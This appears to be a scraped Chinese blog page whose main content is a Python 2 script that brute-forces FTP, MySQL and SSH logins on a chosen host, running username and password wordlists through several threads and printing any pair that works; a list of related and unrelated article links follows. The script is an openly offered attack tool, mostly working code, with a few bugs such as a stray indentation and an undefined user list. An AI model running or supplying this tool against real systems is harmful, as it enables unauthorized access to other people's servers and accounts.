#coding:utf-8
from optparse import OptionParser
import time,re,sys,threading,Queue
import ftplib,socket,MySQLdb,paramiko

global host
queue = Queue.Queue()
#********************************************
#color
#********************************************
class bcolors:
    OKBLUE = '\033[94m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
#********************************************
#FTP爆破模块
#********************************************
class FtpBurp(threading.Thread):
    """docstring for ftp"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ftp = ftplib.FTP()
                ftp.connect(host,21,timeout=10)
                ftp.login(user,pwd)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ftp.quit()
            except ftplib.all_errors:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#MySql爆破模块
#********************************************
class MySql(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                conn = MySQLdb.connect(host=host, user=user,passwd=pwd,db='mysql',port=3306)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                if conn:
                    conn.close()
            except MySQLdb.Error, msg:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#SSH爆破模块
#********************************************
class SSH(threading.Thread):
    """docstring for SSH"""
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                 ssh.connect(host,22,user,pwd,timeout=5)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ssh.close()
                exit()
            except Exception,e:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#可添加web后台爆破
#********************************************
usage = 'Usage: %prog [-t target] [-m method]'
parser = OptionParser(usage)
parser.add_option('-t', dest='target', help='host')
parser.add_option('-m', dest='method', help='ways')
parser.add_option('-u', dest='username', help='username')
parser.add_option('-U', dest='usernamedic', help='username')
parser.add_option('-P', dest='passworddic', help='password')
parser.add_option('-n', dest='threading', help='Thread')

(options, args) = parser.parse_args()

if options.target == None:
    parser.print_help()
    sys.exit(0)

if options.threading:
    n = int(options.threading)
else:
    n = 5
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', options.target):
    host = options.target
else :
    host = socket.gethostbyname(options.target)
print 'target: %s \n' % host
if     options.username :
    userlist[0] = options.username
    print 'username: %s' % options.username
elif options.usernamedic:
    userlist = [j.strip() for j in open(options.usernamedic)]
    print 'username_number: %d $\n' % len(userlist)
passlist = [j.strip() for j in open(options.passworddic)]
print 'password_number: %d $\n' % len(passlist)
if options.method == 'ftp':
    for i in range(n):
        m_ftp = FtpBurp(queue)
        m_ftp.setDaemon(True)
        m_ftp.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
if options.method == 'mysql':
    for i in range(n):
        m_sql = MySql(queue)
        m_sql.setDaemon(True)
        m_sql.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))

if options.method == 'ssh':
    for i in range(n):
        m_ssh = SSH(queue)
        m_ssh.setDaemon(True)
        m_ssh.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
queue.join()

python黑客编程之端口爆破的更多相关文章

  1. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

  2. 《Python黑客编程之极速入门》正式开课

    玄魂 玄魂工作室 今天 之前开启了一个<Python黑客编程>的系列,后来中断了,内容当时设置的比较宽,不太适合入门.现在将其拆分成两个系列<Python黑客编程之极速入门>和 ...

  3. Python黑客编程基础3网络数据监听和过滤

    网络数据监听和过滤 课程的实验环境如下: •      操作系统:kali Linux 2.0 •      编程工具:Wing IDE •      Python版本:2.7.9 •      涉及 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 电子书推荐--《Python灰帽子》,python黑客编程

    点此在线阅读 <Python灰帽子>是由知名安全机构Immunity Inc的资深黑帽Justin Seitz主笔撰写的一本关于编程语言Python如何被广泛应用于黑客与逆向工程领域的书籍 ...

  6. Python黑客编程知识点整理

    Python转义字符 转义字符 意义 ASCII码值(十进制) \a 响铃(BEL) 007 \b 退格(BS) ,将当前位置移到前一列 008 \f 换页(FF),将当前位置移到下页开头 012 \ ...

  7. Python 黑客相关电子资源和书籍推荐

    原创 2017-06-03 玄魂工作室 玄魂工作室 继续上一次的Python编程入门的资源推荐,本次为大家推荐的是Python网络安全相关的资源和书籍. 在去年的双11送书的时候,其实送过几本Pyth ...

  8. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  9. Python 网络编程(一)

    Python 网络编程 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. ...

随机推荐

  1. Sharepoint学习笔记—习题系列--70-576习题解析 -(Q75-Q77)

    Question 75You are designing a feature for a SharePoint 2010 solution that will be activated by defa ...

  2. Lock同步锁--线程同步

    Lock-同步锁 Lock是java5提供的一个强大的线程同步机制--通过显示定义同步锁对象来实现同步.Lock可以显示的加锁.解锁.每次只能有一个线程对lock对象加锁. Lock有ReadLock ...

  3. C语言中的运算符

    1. 在C语言中运算符包括:算术运算符.关系运算符.赋值运算符.逻辑运算符 2.用运算符把变量.常量连接起来的式子就是表达式 3.我们阅读一个表达式,从表达式的功能和表达式的值来看 4. 算术运算符和 ...

  4. 面试题整理:SQL(一)

    1.横纵表转换 A表 Name Course Grade Alex English 80 Alex Chinese 70 Alex Japanese 85 Bob English 75 Bob Chi ...

  5. 深入理解Angular中的$Apply()以及$Digest()

    $apply()和$digest()在AngularJS中是两个核心概念,但是有时候它们又让人困惑.而为了了解AngularJS的工作方式,首先需要了解$apply()和$digest()是如何工作的 ...

  6. JMS(Java消息服务)入门教程

    什么是Java消息服务 Java消息服务指的是两个应用程序之间进行异步通信的API,它为标准消息协议和消息服务提供了一组通用接口,包括创建.发送.读取消息等,用于支持JAVA应用程序开发.在J2EE中 ...

  7. 项目管理学习笔记之五.沟通协调能力II

    二.沟通模型:一个双向交流的过程 沟通模型:编     码---------------->信息-----------------> 解码&歧义发送者               ...

  8. [Linux 性能检测工具]SAR

    SAR NAME: SAR报告,收集,保存系统活动信息 语法: sar  [ -A ] [ -b ] [ -B ] [ -C ] [ -d ] [ -h ] [ -i interval ] [ -m ...

  9. Tomcat:使用JMX监管Tomcat的几种方式

    Tomcat使用JMX管理方式,在Tomcat的自带应用manager就是使用了JMX方式来管理Tomcat,以此完成Web应用的动态部署.启动.停止. 然而manager应用是一种本地使用JMX接口 ...

  10. 十五天精通WCF——第七天 Close和Abort到底该怎么用才对得起观众

    一:文起缘由 写这一篇的目的源自于最近看同事在写wcf的时候,用特别感觉繁琐而且云里雾里的嵌套try catch来防止client抛出异常,特别感觉奇怪,就比如下面的代码. public void S ...